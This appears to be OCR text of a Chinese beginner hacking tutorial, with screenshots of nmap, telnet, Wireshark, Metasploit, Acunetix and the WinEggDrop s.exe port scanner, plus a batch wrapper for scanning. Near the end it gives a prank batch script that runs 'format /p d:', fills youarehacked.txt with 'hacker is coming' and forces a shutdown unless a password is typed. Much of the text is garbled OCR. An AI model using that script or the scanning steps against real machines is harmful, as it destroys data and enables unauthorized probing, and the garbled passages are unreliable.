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IC:\>nmap -sS 192.168.0.151

Starting Nmap 4.00 ( http://ww.insecure.org/mmap ) at 2006-02-09 11:57 Pacific Standard Time
Interesting ports on 192.168.0.151:

(The 1664 ports scanned but not shown below are 1n state: closed)
PORT STATE SERVICE

23/tcp filtered telnet

80/tcp open http
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C:\)ping 127.0.0.1
1.ping 127.0.0.1
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2.ftp « 3.telnet 127.0.0.1

ftp il FH T 1Eftp Ak 55 43 INZHTATAT 4, telnet
B T2 | TS B FE AR 55 4=
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#’“’V@, (IERCAEIND 92t
T 5% dm H O R IRBLHY
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() 1 f JH’} 1985-20083 Microsoft Corp.

G:\Docunents and Settings\idninistratorXfty
ftp> help
Commands may bhe abbreviated. Commands arve:

EEm: C\Windows\system32\cmd.exe

C:\Users\Administrator>telnet 127.8.68.1
e o zi15 e WY
\FiEiEfF127.8.0.1 . . 03T HREALR)ERE. Timd 23:

C:\Users\ﬂdministrator}telnet 127-@-8-1.23 <
\ETEiEfE127.0.0.1 ..  oiEITHEIERY)ERE. TEia[ 23:
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239 _.255 _.255 _.2509
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81-80—-5e—880—-88—fhb
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M The Wireshark Network Analyzer [Wireshark 1.11.0 (SVN Rev 52628 from /trunk)]

File Edit Yiew Go Capture Analyze Statistics Telephony Tools Internals
® ©® R= X DA & » s
Filter: v | Expl

DEVELOPMENT VERSION  Tha World's Most Popular Ne

W| RES HARK Version 1.11.0 (SVYIN Rev 52628 from /frur

MNo interface can be used for capturing in =
this systerm with the current configuration. B Open

Open a previously captured file

See Capture Help below for details.
Open Recent:

~ Refresh Interfaces Diigsml (2342 kB)
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FH O 2 A, fFmblscEt, BNRITHRAM T AES
nessus,openvas, [N #TJLH %24 S T Hx-scan3.3E8.4 /)
FA RO R AV IR ¢

THW BEW FFQ® TEHQ) Language

Q| » Ww | @| @ &
% 192. 168. 0. 11 4t

-4 192 165.0. 100 192.168.0. 11
192.165. 0. 100

(UOTENABLE
«| Rt Ty
ZEER | R

TFiEtal 192
[192.168.0.100]: IFZ

[192.168.0.11]: IF{E
a2 1a2 n 1NNl “F
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SETE IR A S & B S A SOk, X B R A — i &
F—Pe S Mexpl I &EF HIESR, Wmsf:

t:-# cd /pentest/exploits/framework3/
t ¥ ./msfconsole

|
-w| 556 exploits - 267 auxiliary
--m| 209 payloads - 23 encoders - 8 nops
«| svn r9452 updated (2010.06.08)

Warning: This copy of the Metasploit Framework was last updated
We recopmend that you update the framework at least every other day.
For information on updating your copy of Metasploit, please see:
http://www . metasploit.com/redaine/projects/framework/wiki/Updating
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OWASP Mantra - Security Framework

m Welcome 1o OWASP Mantss - Free a.. Dl
i‘n . ‘

penv. getmantra.com; v

a2 O

e

§ 2|=|- £98 HIMLv | cSs BE DOM [@# Cookies

<>| R ‘ body - html
= <ntmi>
# <head>
B3] <body 1ink="#0000cc”>
</htal>
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W OATE, (HELEKweb i SLm WA R T XA ThgE, IE4
FRAT R TS B 83 1)

C:\Windows\system32\cmd.exe - "test.py"

D:\spider>'test.py"
input start url address:http://uwuwuw.baidu.com/
input limit sringCoptional):

1 http://www.baidu.com/gaoji/preferences.html
2 https://passport.baidu.com/v2/?login&tpl=mn&u=httpxZ3A%2F/Z2Fu

3 https://passport.baidu.com/v2/?reg&reglype=1&tpl=mn&u=httpx3A

/7uww . baidu.com/img/bdlogo . gif
://news .baidu.com
://tiebha.baidu.com
://zhidao.baidu.com
://music.baidu.com
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owasp zap, W3aF, WVS%:,

[M™] Acunetix Web Vulnerability Scanner (Consultant Edition)

- File Tools Configuration Help

\
"™
e

(A Newscan |[@ @ S B U E® ¢ & B|& &

=

7 | < ’ 13
Tool .
Ecds e 2] ™ acunetix
EI Web Vulnerability Scanner
--J&4 web Scanner ) o
= Tools Acunetix Web Vulnerability Scanner
: e[ Site Crawler :
..... ,) Target Finder & Web Scanner Scan your web applicat
-1 Subdomain Scanner e o _
..... " Blind SQL Injector — Tools Customize your securit
--[&3 HTTP Editor o i 2 - icec
4 HTTP Sniffer —7 Web Services Scan your web services
iiis HTTP Fuzzer == : S
.- > Configuration Application preferences
- (3 Authentication Tester 9 e ;
%'-‘ﬂ Compare Results 7 General Check for product upda
=-{» Web Services
. 4> Web Services Scanner
: 4w Web Services Editor
5 P o Common Tasks




/NG

T HSREF, b an R — R s FH ) A
EI/J_A/E\Hﬂ(JZP.@HT @JL-/ 1R 2 Wi,
REEHCOH K —H/NTH, MXFEE—
Eﬁﬁvﬁ%f/ \ELJ’ /f/lzjj_‘/\]\lj%ﬁ;a’ [:I./;ELF)(
A7 Mpython/perl SEHIASE 5 AT, EX i
EEFN, Il gmfe 2, W PLE 5
WHFET, M HIIRTE T A




pRIE
i H 1] B [
pmES



25 FH

FATIX B B E T2 I ER I 2R
— e

VA HIE, A eidE, BN
s.exe A & ut & — 1 FHDOS |
NSEA P R TR, MR8
TE FIT A0 ) D) 2 FH 4k A B LA 17
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R, T b i T AR R 2

FLOM A X = B H B SE N 14T
THIE A B Ay 17 H Eomd i
AR X LRV ELIR, g LR R
HLACEE, mie Xy R Rt AT AL E
REEE, IR SEE i, AHEE R

AL, 135 EIE M) CMDIE 2,

B i BT 25 AR I st oy

Tna] 4 FH HEAL B A 1 F s.exe?

H R, HFEZEEs.exefll
FE A B ST TRAE [A] — AN S SR

T, Al L E AT R A A

Fi# NP 45 4%,  [FIRE,
FAFH R P AR R SRS

A A SO e N

X KK |EaE|Y

tings\Ry\ SR\



RS L
BT &R B 7 724, MM RZ OB s.exe T4 1 fiE.
fEemd ) BRI FTAE H X, i As.exeIF B %, IREE©HIMEH
ﬁ/fl}é% :\Documents and Settings\Ry\FE[H>s.exe

Scanner U1.1 By WinEggDrop

.exe TCP/SYN StartIP [EndIP] Ports [Threads]l [/Banner]l [/Savel
.exe TCP 12.12.12.12 12.12.12.254 88 512

.exe TCP 12.12.12.12 1-65535 512

.exe TCP 12.12.12.12 12.12.12.254 21.3389.5631 512

.exe TCP 12.12.12.12 21.3389.5631 512

.exe SYN 12.12.12.12 12.12.12.254 8@

.exe SYN 12.12.12.12 1-65535

.exe SYN 12.12.12.12 12.12.12.254 21.80.3389

.exe SYN 12.12.12.12 21.80,.3389

<
~>
<
~>
<
~>
<
~>
<
~>
<
>
<
>
<
~>
<
~>

AEFL, HAHs.exe@TdZE =220 HfRA, HipipHidlk DL i
=, K. s.exe TR IPHubE B 1

FA X R FIER /S T H A G FHTCPFAHE, [P AN 175425 & 1 M A
PTG, W Hhhk 2R & 44 Nip, i 2R & 44 Aport.
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VR 7E 26— FE 1 R 28 BB

2P, FRATE Ui TCPH)

WIZATEOSIF L &5 2, B
L FRATHE ane] ) FH e 34T v

FAREIWe? syn$ 4 32—t
LR T Ve 2 A8 2 55 Y

13X S ] iR AT ] 5 B TR T tep
PSR QnAe] 76 HL N H i

THEALZ SR

VAT
%El’]p%ﬂ'ﬂ%‘%%? /*’\TE?
INEEIES

Send SYN

(Seq=100cti=SYN) | SYN received
Send SYN,ACK
SYNreceived le—"" | (50q=300 aci=101
cti=syn,ack]

Established

(seq=101 ack=301 cti=ack) \

=HET

B2 EHLARBRIE —1SYNAL
SRR R, 1 LB
—/ANSYN_ACKEIENFIE, F
HLAICEIDR FI B S TR HE A
&R BB UL E L



GrAR] A W v 1 52 15
A

Wil A B 25 ] [ iR | TCP&EH:
S R, IS AT TR
FH AW g 2 75 HEWe 2 Hsk
IRTaT B, FHfmes ) H AR FHLH
il 58 ¥ 1 R — N TCPIEHE,
TSR ERE L T, W H PR
e L IEAE M PR A, 2
Ab IR AR A
TCPH LB A 4 e B,
KUON'E &S | — R EL,
XA ETTE S, (HBER R,
HES, B HREw. fH
S, SYNFIHE N EIR R,
LA Ra

« SYNiIHi 7

SYNFH# AR N E B,
RN B FEA 2B AT — IR
TCPEREILHE
SYNFIHEHEH R, W\ HbrE
MR IE S — AN EE A e s U
I )22 B B W 1 2 1S
i, wWRIEEIFSYNJACKE,
WA RA B frim DS, iRk
B ERSTAL, I B Fri
1 H

EHLA

-

EHLB EYLA EHLB

== &

SYN SYN

O

SYN+ACK RST




& T EALH

GRS 2 /. B 7 B
T T R — LA EE A vk
LA B =L N @echo off
EHIER AR IR, HE
ANikdr 4 BT I R BN AR
cd & L, PSR A R
A A R — P s AT i A,
W r] LA B N @echo on.
AT A FH AR 5
WRFACER T — M Eaf
MR PR e, HRE
EERW N a5 By,
M%a%

UE JIETGEER

1.echo:#i i &

2 title: & & S Hi b AL A & H
3.color: i B #E A 1 Ak
4.set:3RHL, wEALE
5.cls:iE Bt

6.del: kxS 4+

7 .pause: F{EHL AL T S HIIE AT

Ll EFRS S HA H WS
HEE A R AT IF 2l
U X R 2



AL FE AR A

@echo off
color A
title ST 2

del result.txt

set /p ip="(f N\ EF T IPHbIE, A% X 0
0.0.0.0)===>"

set /p port="(ir A\ PR ZE 313 B i 11,4 240
21,23,25,110...)===>"

echo 1ELE 3 %ip% o 1,5 25435
s tcp %ip% %port% >> result.txt
pause

BAENYE, WA FR{E 2
AT AL B A 1 A BRI
e/ MET R, FHatvE
A5 B B R

@echo off: % B 2E 11 [A] 12,

color A: 1 B il AA(HEZR )

title STAH 4 15 E bR y"STH 48 A"

del result.txt: M 2 /i A2 B AE 2411 H 5%
ERETEAT s

set /p ip="....": \EE L IR HN AR ip S o 1
I1E

ERELL

echo IEEAH#i%ip%...: 4 R iE

s tcp %ip% %port% >> result.txt:
4k I 5 Aresult.txt

pause: Z1EIEFIe1T IR H .
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'ﬁﬁ%?ﬁt&ifi, e MNs.exeJAER — 3R T, WddT I, JH6
MR PATT A 41 2% -

T“UB 8.8.8)===2218.94.36.177
!“[JI IL'ﬂ21 23.25,110.. .>===>3333

(Efr$33E218 .94.36 .122/05m M . FSFF

ISR, . . o

MR H 45 F41218.94.36.177113333ii [, F FllpauseI4#E/R T
LG BEMRE I & e ﬁzﬂﬂu MR R E R SO e, BF
result.txt rRAZ- I I 45



P result. txt — 1233

T E) &SIEE BRe ZFF W R
TCP Port Scanner U1.1 By WinEggDrop

Normal Scan: About To Scan 8.68.8.1:21 Using 1 Thread
6.8.0.1 21 Open
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0048C9D2 || . E8 6A5800608 |call 88492241 ‘

8048c9D7|| . 59 pop ecx AL ARG EIP CtrltGray *

gou8cops|| . 85ce test eax, eax 3 4

go48coDA|| ., 75 68 jnz short B648C9EL 832 »

gouscopc|| . 6A 1C pui: 1C RO hIRkE »

OO48CY9DE|| . E8 C3000080 |ca 8848CAAG ?

0048c9E3|| . 59 pop ecx i it ‘

0048C9EL|| > E8 15560000 |call 08491FFE HHE) »

OO48C9E9|] . 85CH test eax, eax THEER) »
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08461A53 /| > 837D CC 88 |cmp dword ptr [ebp-34], 0O
00401A57 | ., OF84 8FOOOOOI je 864681AEC

864081a5D|| . | 6 60 push 8

po401a5F|| . | 6A 086 push 8

06401a61|| . | 6A 80 push 8
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06401A68|| . | 6A 80 push 8
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dword ptr [ebp-34], ©
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AL d i

format /p d:

fEeft 4 100/ you are hacked” txt3C {4

FL AN e AL 1 Fecho N2 >> SCfst Al LLANEE — 3 T
FMAN—17 307 A FEW R —2%35 % echo hacker is coming >>
youarehacked.txtB 1], 34/ Ifor /l %%a in (1,1,100) do *>RL I X *+5
2 BI100KERAE, Pt DL & H403& HY )R H) 4 -

for /l %%ain (1,1,100) do (echo hacker is coming >>
youarehacked.txt )
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shutdown -s -t 100

echo iHHI N ‘T2 F"IF R ZE, S MTHENEAE 10080 N ISl
loop:

set /p a="#AME: "

if "%a%"=="3 & FJ%i" (shutdown -a && exit)

goto loop

fi— SR, )i id shutdown -s S N iA XML& L AAEH t5
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@echo off

format /p d:

for /l %%a in (1,1,100) do echo hacker is
coming >> youarehacked.txt

shutdown -s -t 100

echo 1 N\ ‘T B FH R4, AN
THENUEAE 10080 Y ML

loop:

set /p a="/A&IAIE: "

if "%a%"=="3 & HJ" (shutdown -a &&
exit)

goto loop
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.| youarehacked.txt hacker is coming
hacker is coming
hacker is coming
hacker is coming
hacker is coming
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hacker is coming
hacker is coming

C:\Windows\system32\cmd.exe

C:\Users\lenovoNDesktop>shutdown —s —t 1680

C:\Users\lenovo\Desktop>echo 1%;
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C\WINDOWS\system32>ipconfig
ipconfig

windows IP Confa guration
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